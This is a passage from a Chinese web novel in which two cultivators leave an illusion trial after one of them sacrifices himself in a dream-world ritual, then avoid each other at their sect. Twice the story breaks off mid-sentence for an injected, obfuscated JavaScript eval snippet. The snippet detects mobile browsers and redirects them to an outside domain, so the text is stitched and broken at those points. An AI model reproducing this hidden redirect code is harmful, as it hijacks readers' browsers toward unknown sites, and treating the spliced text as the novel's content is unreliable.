至于正事之外,谢翎时不时就会来宫里找他,陪他说会儿话,或者带了什么小玩意儿,有时候干脆就在偏殿歇下,反正沈辞秋后宫无人,殿宇随便住。
安宁得……就像一场梦。
直到沈辞秋和谢翎有一天,蓦然双双倒下,朝野皆惊!
沈辞秋中了毒,大夫们束手无策,而谢翎患了怪病,连续高热不断,反复发作,还没烧成傻子,也是一大奇迹。
他们出事的第五天,一辆不起眼的马车从宫内悄悄驶出,停在了侯府门前。
车帘一挑,白玉的面孔露出风华,不是沈辞秋又是谁?
他今日没穿什么帝王家的华服,仅一身银杉,玉带束腰,不知是不是因为这几日中毒太磋磨人,身形比平日还消瘦一圈,腰带愈发收紧,面色苍白,外人见了,哪能猜他是杀伐果决的帝王,肯定只当哪家弱柳扶风的美人。
沈辞秋进了侯府,府中的人正在给谢翎侍药。
谢翎烧得面颊微红,但唇色寡淡,靠在床头,手上没什么力气,自己端碗能撒半碗,所以是小厮在喂。
沈辞秋踏入房中时,正好听到谢翎有气无力道:“不喝了,拿走。”
小厮着急:“侯爷,病了怎么能不吃药呢?”
谢翎轮廓锋利,眉骨和鼻梁都很高,他微微垂头,在眼窝处投下一片阴影,低笑两声:“除了让我白白吃了好几天的苦,你们看有用吗?”
小厮看他虚弱的样子也难过:“侯爷……”
“朕来。”
如清泉泠泠的嗓音让谢翎骤然抬头,小厮转身一见,吓了一跳,匆忙要行礼:“陛、陛下!”
沈辞秋轻声:“你们都下去。”
侯府侍从和跟着沈辞秋来的宫人都忙不迭退下,沈辞秋在谢翎的注视中一步步走到床榻边坐下,端起了药碗。
隔着瓷碗,药液的温度适中,沈辞秋舀起一勺,递到谢翎唇边。
谢翎没有张口,他就这么一瞬不瞬瞧着沈辞秋。
……瘦了,他想,拿着汤匙的手又细又弱,沈辞秋身上剩的力气,怕是没比他好到哪儿去。
隔着一碗药,银冠素衫清瘦隽影的沈辞秋和狼狈无力的谢翎就这么静静对望。
沈辞秋没有收回手,在他那本也没多少劲的手撑不住颤抖以前,谢翎慢慢张口,含住了汤匙。
二人无言,一个慢慢喂,一个慢慢喝,就这么把一碗药喂完了。
沈辞秋放下瓷碗,易碎的瓷器在木盘上敲响,好半晌,屋中也没有一句话。
直到沈辞秋从袖中拿出一本书。
谢翎看到那本书,闭了闭眼。
“我去书阁几回,记得清楚,原本没有这本。”沈辞秋不疾不徐,“但昨天它突然出现了。”
私下只有两人时,沈辞秋不在谢翎面前称“朕”。
“依书上记载,我俩应当都中了一种咒,我推算出了位置,属下回报,那里确实有画着看不懂的图,应该称为阵?”
沈辞秋翻开书页,没有看谢翎,边翻,边说着书上的内容:“要解开,得用活人的命祭祀。”
谢翎发着烧,一碗药下去,嗓子依旧又疼又哑:“我猜,你应该让人在那里斩了死囚,试过了?”
沈辞秋点头。
判了斩立决的死囚,只是改了个行刑位置,不算滥杀无辜,谢翎目光一点点描摹着沈辞秋清瘦的身影,像是要把什么难得的时光与影子刻在眼里。
“但是咒没解。”谢翎说。
沈辞秋阖上书,看向窗外,院中花正好,但今日阴云密布,似乎有雨将落未落,因此把花也染上层层郁色,压弯了枝头。
沈辞秋看着一朵不堪重负的花晃了晃,在花瓣落地声里说:“我偶尔想,这里的所有或许都不是真的。”
花落无声,但天边似乎滚过惊雷,远远炸响。
谢翎表情没动。
“我寻了些线索,如今终于可以确定了。”沈辞秋转过头来,琉璃色的眸子安安静静看着谢翎,“只有我们是真的。”
天地皆为虚假,万物都是泡影,偌大一个世界,唯独他和谢翎,是两个活生生的人。
所以死囚的命解不了咒,因为他根本不算活人啊。
解开咒语之后会是什么,会是继续在这个世界里活着,还是破开天地,去到别的地方?
沈辞秋不知道。
但他们都知道一点,沈辞秋和谢翎必须有个人用命去试着解咒,如果什么也不做,毒发和烧只要再折腾几回,他俩只能等死。
谢翎想,这大约就是最后的考核了。
又想,沈辞秋果然聪明,到底还是发现了更多的不对,从简单的癔症到怀疑起世界的真实性。
沈辞秋把书放到了一边:“这本书有被翻动的痕迹。”
谢翎往背后的软枕上一靠,笑了:“是我。”
他承认。
“它被我发现,而我俩还没中什么稀奇古怪的咒,但里面记载的东西,你看了,咳,就会更加知道这个世界的不对,所以,我把它藏了起来,咳咳!”
谢翎嗓子疼,每个字出来时都如针扎,他说得很慢,说到后面,偏头咳了两声,而后深深吸气,把喉头的疼和血腥味都强硬地咽了下去。
“我本以为至少可以等到我们七老八十……结果咒来了,书也自己出现在你面前。”谢翎又咽了咽嗓子,不知是不是太疼了,眼里泛起血丝,却对着沈辞秋笑,“好烦啊……多给我们几年能怎样?”
那双总盛着光的琥珀色眼眸里很是黯淡,天边黑压压的阴云仿佛尽数笼了过来,沈辞秋看着他,身上的毒开始发作,他手指发颤,但死死在袖袍底下攥紧,想掩盖下去。
谢翎比他更先发现真相,沈辞秋明白了这一点,
沈辞秋同时更无比清晰意识道:哪怕此地黄粱一梦,谢翎也不想太早醒来。
沈辞秋的圆润的指甲狠狠掐进了自己掌心里,颤得厉害。
……这毒好疼,疼得钻心。
他们不解咒只有等死一条路,去解咒,可万一死在这里就是真的死去,再也回不来呢?
他们要拿谁的命去赌?
沈辞秋瘦削的肩好似一点力气也没了,心口也疼得厉害。
谢翎知道所有都是假的,他倒不怕拿命去用,只是舍不得这段时光,可既然已经到了这一步,无路可退,也只能往前走了。
他猜沈辞秋肯定还在艰难抉择用谁的命,这是对沈辞秋的考验,谢翎张口:“我——”
“谢翎。”
沈辞秋轻轻吸了口气,打断了他的话。
沈辞秋睫羽轻颤,抬起眼眸,向来平静的眸子里碎了些谢翎先前从没见过的细光,他将袖袍攥成一团,轻声道:“我们同去,如何?”
谢翎愣神中,双眼慢慢睁大了。
同去,他知道沈辞秋这里的同去不仅是指两人一起去阵法所在地,更是说,他们一起祭祀,不用选一个人,而是把他俩的命都压上去。
决绝果敢,毫无保留。
谢翎愕然怔愣半晌,须臾后,没什么劲儿的他竟大笑出声。
那声音畅快,连中间被迫的咳嗽也打不断他的笑音,谢翎边笑边咳,上气不接下气,嗓子经过这番折腾,痛得要死,但他琥珀色的眸子一点点亮了。
亮成了沈辞秋最习惯,也最爱看到的样子。
毒素发作的剧痛好像都因他眼中的神采一点点退下了。
谢翎眼中亮着病容都盖不住的光,他道:“好!”
最后一程,何妨同去!
谢翎立刻让人给他备衣,下床时沈辞秋本想扶他一把,但谢翎缓了缓,摆摆手自己站起来:“每次喝了药还是能恢复点力气。”
他也不要人侍奉,自己把衣服穿了,从屏风后出来。
谢翎穿了一身盛装,以金冠束了马尾,赤金武袖,腰系革带,长腿踩了双踏云靴,连病容都被锦绣衣裳给压了下去。
不像去赴死,倒像去赴一场盛大的约。
他腰间那块玉佩,是沈辞秋去年赏给他的,把把玩得很温润,今日也戴上了。
沈辞秋目光从那块鸣凤玉佩上移开,若不是谢翎的唇色,简直看不出他在病中了,他挑了把扇子,朝沈辞秋笑:“好看吗?”
沈辞秋目光清润:“好看。”
两人从容出了侯府,踏上马车,周身竟都是松快,仿佛去郊游踏青。
马车上,沈辞秋忍着疼,尽管手还有些颤,但依然给他俩倒了两杯茶,谢翎时不时咳嗽,但他就是不住嘴,要说话,好像除非嗓子全哑,否则要把一辈子的话说完。
沈辞秋大多时候跟从前一样静静听,偶尔回应,如往常别无二致。
这样的氛围对他们来说刚刚好。
谢翎端起茶盏润嗓子,眼睛总是不离开沈辞秋:“送行茶?”
沈辞秋手抖得厉害,毒发很疼,但他面上半点看不出痛苦:“嗯。”
“有酒就好了。”谢翎感慨,把茶喝得干干净净,他看得出沈辞秋也在忍耐难受,一如他浑身都疼扇子都握不住,却要笑,反正开心,有什么不能笑。
沈辞秋看着窗外景物飞逝而过:“有酒也不能喝……到了。”
马车停下。
这段路可真短,谢翎放下茶盏想,怎么一眨眼就到了。
他们二人都没什么力气,但谢翎率先下车,朝沈辞秋伸手。
沈辞秋停了停,才把自己的手放到他手心,被谢翎扶下来。
两人极为缓慢走到一片空地上,那里果然有一幅很大的阵法图案,因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14534404|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斩了死囚已经沾过血,但血干涸得很快,已经黑了。
天色无光,雷声越凑越近,快下雨了。
两人信步朝中间走去,谢翎问:“我们谁先来。”
沈辞秋却停下脚步,看着他。
谢翎刚想再说点什么,却忽觉眼前一晕,他浑身剩余的力气也尽数被抽尽,腿一软就要往下跪。
病情又反复了?不,不对,这是……药!
沈辞秋递给他的那盏茶里有药!
惨白的闪电劈开阴云骤然炸响,也照亮了谢翎血色骤褪的脸,沈辞秋扶住了他,没有让他跪下去,而是让他慢慢躺在了阵法中央。
沈辞秋跪坐在他身侧,拿出了一把有着十分华丽刀鞘的短刀。
鎏金刀鞘上刻了一只栩栩如生的孔雀,嘴里衔着一支白梅,这是谢翎送给他的刀。
层云中电光熄灭,第一滴雨水砸了下来。
谢翎明白了,所谓同去只是为了让他放下戒心的谎言,怕他不肯来,生死大事上,沈辞秋选用他的命来试一个答案。
谢翎躺在地上,眼中的震惊慢慢消失,悉数化为平静,他没有怒火,也不怎么恨沈辞秋,只是觉得……很可惜。
沈辞秋这一刀下来,他们在考核中快三年的情分就会被斩个干净,日后回到真正的世界,他俩就剩仇敌一条路,绝无转圜的余地。
要我的命,你不用骗,可以直说的。
谢翎眼中映着天上浓墨的乌云,自嘲又苦涩地轻嗤:起码在这个世界里,姓谢的傻子愿意为你拼命啊。
沈辞秋拔/出短刀,雪白的刀身映出他一双浅色的眼,这双眼漂亮,薄情,此时此刻,什么也瞧不出来,像极了一场雪。
雨点砸在他身侧,浸湿了他绽开的衣摆,沈辞秋垂头,望进谢翎平静的眼睛里。
“谢翎。”沈辞秋叫他的名字,不过这一次,谢翎没有说话。
他只是无声地瞧着他。
沈辞秋听着耳边逐渐变大的雨声,他看雨水打在谢翎面庞上,也从他自己面颊滑落,沈辞秋那被毒发折腾的手此时却很稳,他说:“所有都是揣测,即便这里真是假的,也没人能保证死亡是假的。”
谢翎仿佛累了,这次换做他来听,没有开口。
“即便如此,猎场上,你毫不犹豫替我挡了一刀。”
本来心如死灰躺平等刀的谢翎在听到这句话时愣了愣。
他先前是帮沈辞秋挡过一刀,刀子离他心脏就差两三寸,差点要了他的命,沈辞秋不眠不休在他病榻边守着,直到他醒来。
这时候怎么说这个,干脆点给他一个痛快吧……等等。
谢翎慢慢睁大眼。
他突然意识到了什么。
谢翎浑身一绷,他猛地想使劲抬手,但被下了药,没有半分力,手臂只能痉挛两下,根本做不了任何动作。
谢翎:“等……”
沈辞秋不再说话。
他杀父夺权,满手血腥,从不后悔,因为那是复仇,他睚眦必报冷漠决然,但仇是仇,恩是恩。
复了仇,怎么能不记恩。
何况难得世上有这么一个人真心待他。
他想,谢翎不知道会不会死,仍去挡了那一刀,所以现在,该他还了。
暴雨骤起,两人衣衫尽湿,呼啸的风卷不起他们沉重的衣袍,沈辞秋将谢翎送的短刀贴上了自己清瘦的脖颈。
谢翎目眦欲裂,手背上已经是青筋暴起:“沈——”
沈辞秋在大雨中看向他,心道,也不知还有没有再见的机会。
如果没有……
谢翎总说让他多笑笑,想必是爱看的。
雨水冷冷湿透了沈辞秋玉白的面颊,他握着刀,对谢翎露出个笑来。
释然、清浅,像雨中绽开的花和月。
然后他皓白的手腕利索一划——鲜血飞溅。
“沈辞秋——!”
奇异的是,沈辞秋脖颈上没有半分疼痛,他倒下时,听到谢翎那因高热而沙哑的嗓子挣扎着发出不似人声的嘶吼,他想再去瞧一眼谢翎,但天幕灌下的雨水汇成滔天洪流,遽然吞没了他。
沈辞秋像是砸进了一片汪洋大海,眼前是无垠的蓝,蔚蓝的海水裹住他,随之涌上来的,是被暂时封印的记忆。
沈辞秋赴死时都淡然的眼在这一刻颤动着睁大了。
他是……沈辞秋。
是众叛亲离,被师门逼上绝路,死过一回的沈辞秋。
他活着是为了复仇,接受考核是为了更强,入水镜前首先想到的是拿了分魂化身之术自己以后对上玄阳尊又多了几分胜算。
他不是来当皇子皇帝的,这一切不过是他复仇路上修行的一环。
雪国皇族和小侯爷……从来都不曾存在。
近三载岁月,捭阖沉浮,日夜相处,玉佩与金刀,不过大梦一场。
现在,梦醒了。
23.第 二十三章
两道身影从水镜中破出,他们身上没有半点湿意,但仿佛被大雨浇透了,由内而外疲惫不堪。
两人呼吸都很重,沈辞秋手指还在发颤,单薄的胸口起伏不定,琉璃色的眸中沉着将碎不碎的冰。
他没有侧头看身边的人一眼,用回归身体的记忆一点点把碎冰重新粘合。
所有真实都回到脑海,一切扳回正轨,不该有的东西理应全部剔出去。
沈辞秋在识海里,对紊乱的思绪举起了刀。
……可这一次,他偏偏不知道从何开始下手了。
燃魂老祖瞧过两人苍白的脸和惨淡的神情,由着他们缓了两息,举起茶杯:“恭喜,二位都通过了考核。”
但通过考核的两个人一言不发,脸上也没有半点喜色。
他们恍惚的神情还没有完全褪干净,一个比一个沉默。
沈辞秋觉得耳边仿佛还在下着一场不会停歇的暴雨,夹杂着沙哑又声嘶力竭的怒嚎,老祖的声音像隔了层水雾壳子,总不太清晰。
燃魂老祖抬手,两杯茶浮空飘到沈辞秋和谢翎面前,沈辞秋浅色的眸子迟缓的动了动,宛若木偶似的,慢慢抬手接住了茶杯。
茶盏里的茶水凝成一滴小光珠,没入了沈辞秋的眉心,分魂化身之法直接在他脑海中浮现,一字不落。
“传承已毕,尚有几句话交代。”
燃魂老祖的神识渐渐开始变得透明:“无法在大乘手底下自保以前,不要轻易暴露你们得到了分魂化身的传承。”
匹夫无罪怀璧其罪,这世上处处是弱肉强食,燃魂老祖当年折断明枪暗箭,靠的可是一身过硬的修为和本事。
他瞧着两个心不在焉的小辈,这二人的心性在他看来也绝对是难得,不过到底年纪轻轻,以后路还很长,会不会生出变数都难说。
“里面的炼心之法你们好好学,要用分魂化身,切记灵台清明固守本心,不可懈怠。”
沈辞秋在“本心”两个字中略微回神,朝着燃魂老祖的神识行了大礼,受了人家传承,理应致谢。
他听到身边有布料轻动的声音,只能是谢翎。
沈辞秋的手紧了紧。
燃魂老祖神识消失,与来时一样,风起花落,紫色的花雨漫天飞舞,淹没了浮动的山水画,将他们带回了锦簇的花海间。
那对交颈的白鹤仍在翩翩起舞,亲昵梳羽,沈辞秋和谢翎站在原本的位置,是个面对面,一抬眼就能看见对方的位置。
但沈辞秋垂着眸,纤长的睫羽盖住他的眼神,他转身就走,没有看谢翎一眼。
谢翎脑子里也还乱七八糟,他下意识抬脚跟上,却在走出两步后回神,硬生生钉住了脚步。
他看着那道银白的背影,玉带翻飞,仙姿清韵。
……这是玉仙宗的大师兄,不是他的小皇子。
还是日后注定与他刀剑相向,按剧情会死在他手里的反派。
周围的花瓣轻摇,谢翎站在原地,心口空茫一片,怅然若失。
他眼前还留着沈辞秋自刎前那低头一笑,身体里还残余鲜血四溅时的无能为力、撕心裂肺,心脏现在仿佛还在一跳一跳地疼,啃噬他四肢百骸。
区区一个考核……他入水镜前,本来是这么想的。
却能动摇他至此。
水镜里,他编出一个朋友成亲的故事,那时候沈辞秋说,如果早知是错误,就不该有开始。
是啊,是啊,所以,他现在就该把那三年彻底当成一场梦抛在脑后,假的东西有什么可值得铭记的,他可是要一路过关斩将立于修真界巅峰的天骄!
谢翎,醒醒吧,反派不过跟你用虚假的身份度过了段虚假的时日,出来后人家都懒得看你一眼,怎么,你还要跟幻境里那个傻子一样贴上去?
你可别犯蠢。
谢翎捏紧扇子,一遍遍提醒自己。
但他眼眶却不知不觉红了。
难过这种心思,可以尝试自欺欺人,但通常都会以失败告终。
心脏的苦涩和疼痛,你控制不住。
黑鹰走上前,方才殿下消失后,那灵气波动无害,像碰上什么机缘,因此黑鹰不着急,他也快习惯自己主子三天一宝物五天一传承的节奏了,可今日出来殿下却无半点喜色,还一言不发,难不成……
黑鹰面色一沉:“殿下,可是机缘被沈辞秋夺走了?”
谢翎攥紧扇子的手指一抽,堪堪回过神,哑着嗓子道:“不是……我们走吧。”
他已经看不到沈辞秋的背影了。
谢翎转身,与沈辞秋背道而驰。
旭日的阳光洒下,沈辞秋脚步深浅不一的步步踩在土壤上,路过的繁花缱绻蹭过他的衣摆,但他尽数视而不见。
远远地传来几个小弟子欢快的声音。
“都说了繁花峰是有情人必来之地,你俩有什么好藏着掖着的啊哈哈!”
沈辞秋脚步一顿。
……这里是玉仙宗繁花峰,他是修士,此刻要离去,他还这样慢腾腾地用脚走?
又不是在等谁与他同行。
水镜里做几年凡人,还真把自己是谁忘了?
沈辞秋琉璃色的眸子划过霜色,他手指掐诀,御剑出鞘,用的也不是腰间佩剑,而是另一把。
脚步一点,沈辞秋轻盈落在剑上,剑芒划破长空,眨眼掠过层云和各座山巅,回到了冷峰之上。
灵力流转,沈辞秋神色清冷,直奔练功房,每走一步,他的目光就更沉几分,仿佛已经飞快静了心,再没什么能侵扰他。
但当他的手放上练功房的门板时,却没能立即推开,而是停下了。
沈辞秋本想即刻开始修炼分魂化身术,但他还记得功法明晃晃的提醒:此术入门奠基时务必静心宁神,切记!!
沈辞秋看向自己搭在门板上的手,抿了抿唇,嫣红的唇快被他咬破了。
但最后,他肩膀落下,手也慢慢挪开了。
再不甘心,他也不得不承认,此时自己心不静。
沈辞秋深呼吸,只好先回到房中,做点让自己静心的事。
沈辞秋摸出一块玉,用刻刀聚了灵力,开始在上面雕刻他闭着眼也不会出错的符文。
他擅长剑与咒,咒凭借符文发力,常见的有符箓,但修到沈辞秋的地步,就不局限于用符箓做咒了,灵石、灵玉,花叶草木,甚至直接用灵力在空气中勾画,都能起效。
修士们做咒纹石,根据所需,有时候就是简单把符文写上去,有时会藏在各色图案中,沈辞秋心虽未静,但手上一笔不错,骨子里的熟悉怎会因为一点小事就……
沈辞秋的手骤停。
他用符文在玉佩上相连,刻画了一个栩栩如生漂亮非凡的凤凰脑袋,不难看出只要继续下去,就会有一整只凤凰张扬盘踞玉佩之上。
跟水镜里他送给谢翎的玉佩一样。
沈辞秋看着凤凰意气风发的头颅,捏紧了手中刻刀。
偏偏是凤凰。
他手再也刻不下去。
这玉废了,沈辞秋冷漠地想。
他手指握紧,就要把玉直接震碎成齑粉,对他来说再简单不过的事,但手指反反复复按了好几回,一块玉愣是完好无损。
沈辞秋:“……”
屋外池塘中的鱼儿跃出水面,波光粼粼,水珠轻巧地溅落,向来平静的池面上被荡出层层涟漪,晃动不歇。
玉石最终逃过一劫,沈辞秋默默放下了没有画完的凤凰,拿出另一块石头,重新开始刻符文。
日落后,冷峰上两处屋舍都亮起了灯,遥遥相应,却静默无言。
接下来连着三天,同住一峰的沈辞秋和谢翎没有碰过一次面、说过一句话。
这才该是他们之间应有的距离,即便做了交易,不谈正事就无须多余交情,羽神泪还没用完、冰火双生珠的灵气也暂时无须压制,他们连见一面的借口也没有。
倒是温阑阴魂不散,设法各种“偶遇”沈辞秋,即便被沈辞秋避开,也锲而不舍。
这不,今日有剑术课,他又到校场边来了。
但没想到遇到了意料之外的人。
温阑看着没正形靠在树干边的某人,还是维持住了大家风度礼节:“……七殿下今日怎么有空来观剑?”
谢翎手里捏着紧闭的折扇,视线看似散漫懒洋洋,但始终盯着校场内,没分给温阑半点,张口就是:“兴致来了,瞧瞧玉仙宗剑法。”
温阑也将视线投进场中,此时沈辞秋正好出列,温阑察觉谢翎动了动,似乎是想直起身子,但最后不知为什么又靠回了树干上。
温阑笑了笑:“莫非其实是来看阿辞的?”
谢翎没出声。
阳光从树叶缝隙中斑驳细碎地洒下来,他衣服上的金丝孔雀翎忽明忽暗,映得他神情也不分明。
谢翎如今练气二层,是需要睡眠的,但他眼下染上了淡淡的乌青,显然最近睡得并不怎么样,也让他的气息愈发沉了下去。
谢翎发现沈辞秋没有用自己的佩剑,而是从旁随手挑了一把。
说来先前在地下杀邪修,沈辞秋用的也是鞭子,没有拔剑。
谢翎自言自语:“怎么不用自己的剑?”
温阑作为就站在旁边的人,没让他的话落到地上,接了:“听说在养剑,近期不宜出鞘。”他意味深长,“殿下连这个也不知道?”
谢翎终于慢慢偏过头,舍得分给温阑一点眼神,不咸不淡瞧着他。
温阑叹道:“先前我就劝过殿下,你既喜欢温柔乖顺的,阿辞实在不是那种性子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14544493|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何必呢。”
谢翎在晦暗不明的树荫下拉出个笑来,笑意不达眼底:“我如今的处境,难不成还敢跟玉仙宗提退婚?”
温阑听闻此言,心中闪过喜色,但面上还是温文尔雅为你好的姿态:“殿下可与阿辞说说,他必定不会勉强你继续。”
谢翎笑意更深了。
他之前只把温阑当空气和唱戏的,但此时此刻,他心里憋了三天的烦躁无处发泄,偏偏这人还要往枪口上撞,真是怎么看怎么碍眼。
眼珠子快挂沈辞秋身上了吧?可惜他没一剑杀了你就算好了,绝不可能要你个渣男,你志得意满个鬼。
还阿辞阿辞叫得这么亲近,人家乐意你这么叫吗?
“温少主,”谢翎离开树干站直了,他比温阑还要高一点,微微倾身,光影在他琥珀色的眼眸中交织出危险的阴影与精光,衬得少年莫名气势逼人,他张口,压低声音道,“偏我就爱勉强啊。”
谢翎先前从没这样与温阑说过话,他惊讶,一时间居然从个废物身上察觉出难以言喻的威压,危险,仿佛蓄势待发的猛兽,他堂堂一个金丹,竟险些被逼得后退!
温阑回过神来,定住心神,脸色也沉下来:“你——”
“他说和我一见倾心,”谢翎笑出了声,拉开距离直起身,畅快道,“你跟他相识已久,无论如何也没法再‘一见倾心’了,怎么办呢,有些事就是无常啊。”
“谢翎你——”温阑差点被谢翎激出了真火,好在想起自己在哪儿,又生生忍了回去,烧得心口憋闷,“我说过我对阿辞没别的意思!”
谢翎混不吝:“你说是就是咯,那你千万言行一致,可别日后还妄想跟他做道侣,不然可是要被人笑话的。”
温阑脸色瞬间非常精彩,谢翎呵呵展开折扇,心说活该,郁闷几天的心总算舒服了点,论嘴炮他还没怕过谁!
就在温阑脸色青白多变的时候,场中传来了叫好声,谢翎一回头,就看见沈辞秋剑出惊鸿,形如飞仙,惊艳一剑。
才刚松快一点儿的心口眨眼又被揪紧,又酸又疼。
谢翎一瞬不瞬瞧着他,比起水镜里中毒后苍白虚弱的雪国陛下,还是这样的沈辞秋更加明艳。
没来找自己拿羽神泪,说明他没有再拔苗助长哪怕受伤也要急于修炼,挺好的。
不知道天赋卓绝的反派分魂化身术练到哪儿了,不像他,这几天静不下心,根本不敢入门。
……什么养剑法还不能出鞘的,不会是根本用不惯那把剑吧?
沈辞秋一招致胜,收剑后长身玉立,天光给他白皙的面孔镀上一层金边。
谢翎深呼吸,强迫自己从沈辞秋身上撕下视线,也不管温阑,转身离开了校场。
我想这些干什么,谢翎仰头颓然垮下肩榜,我就不该来看的,跟温阑打嘴仗也没意思,一只败犬和一只落水鸟,掐出花来又有什么意义。
我被迫来到玉仙宗,该想的是利用所有东西好好修炼,浪费什么时间。
古翠玉找到了,分魂化身也提前拿了,该好好准备恢复修为的事了。
谢翎捏着折扇:今晚就去月华泉固体培元,抓紧恢复修为,别想什么乱七八糟的了。
想了也不过徒增烦恼而已。
比完剑的沈辞秋眼睫轻颤,若有所感,倏地抬头朝校场远处看去。
但只看到了温阑那糟心的身影。
沈辞秋:“……”
他漠然准备收回视线,却发现温阑并没跟先前那般看着自己,面色还很奇怪。
沈辞秋不懂,也不想懂,但不知为何,他视线莫名落到了温阑近处的那棵树上。
树影微动,风吹过那空无一人的地方。
沈辞秋盯着那片空空如也的地方瞧了片刻,在温阑整理好心情之前转过眼,他等下会提前离开,不会等着放课被温阑堵。
正好,有弟子带了口令过来,宗门要沈辞秋待会儿处理些事务。
沈辞秋颔首,看了看子弟的行走腰牌,问:“可有月华泉记档,今日有人要用吗?”
弟子从储物器里摸出个册子翻了翻,摇头:“无人提前排约。”
沈辞秋点头:“帮我记一笔。”
弟子:“好的!”
嫡系弟子无须提前预约,随时能去,但嫡系们约定俗成,想一个人泡不愿被打扰的时候就提前写个名,这样其他人看见了,就会避开那个时间。
沈辞秋想的是这几天其余修行都没进展,不如去泡一泡月华泉,简单淬一下灵根,也给自己静静心。
他要复仇,哪有那么多心思能被旁事牵扯。
沈辞秋在弟子递来的册子上写下名字后,转身往事务堂去,他还得先去做事,不过月华泉在夜间浸泡效果更好,所以不急,晚上去正好。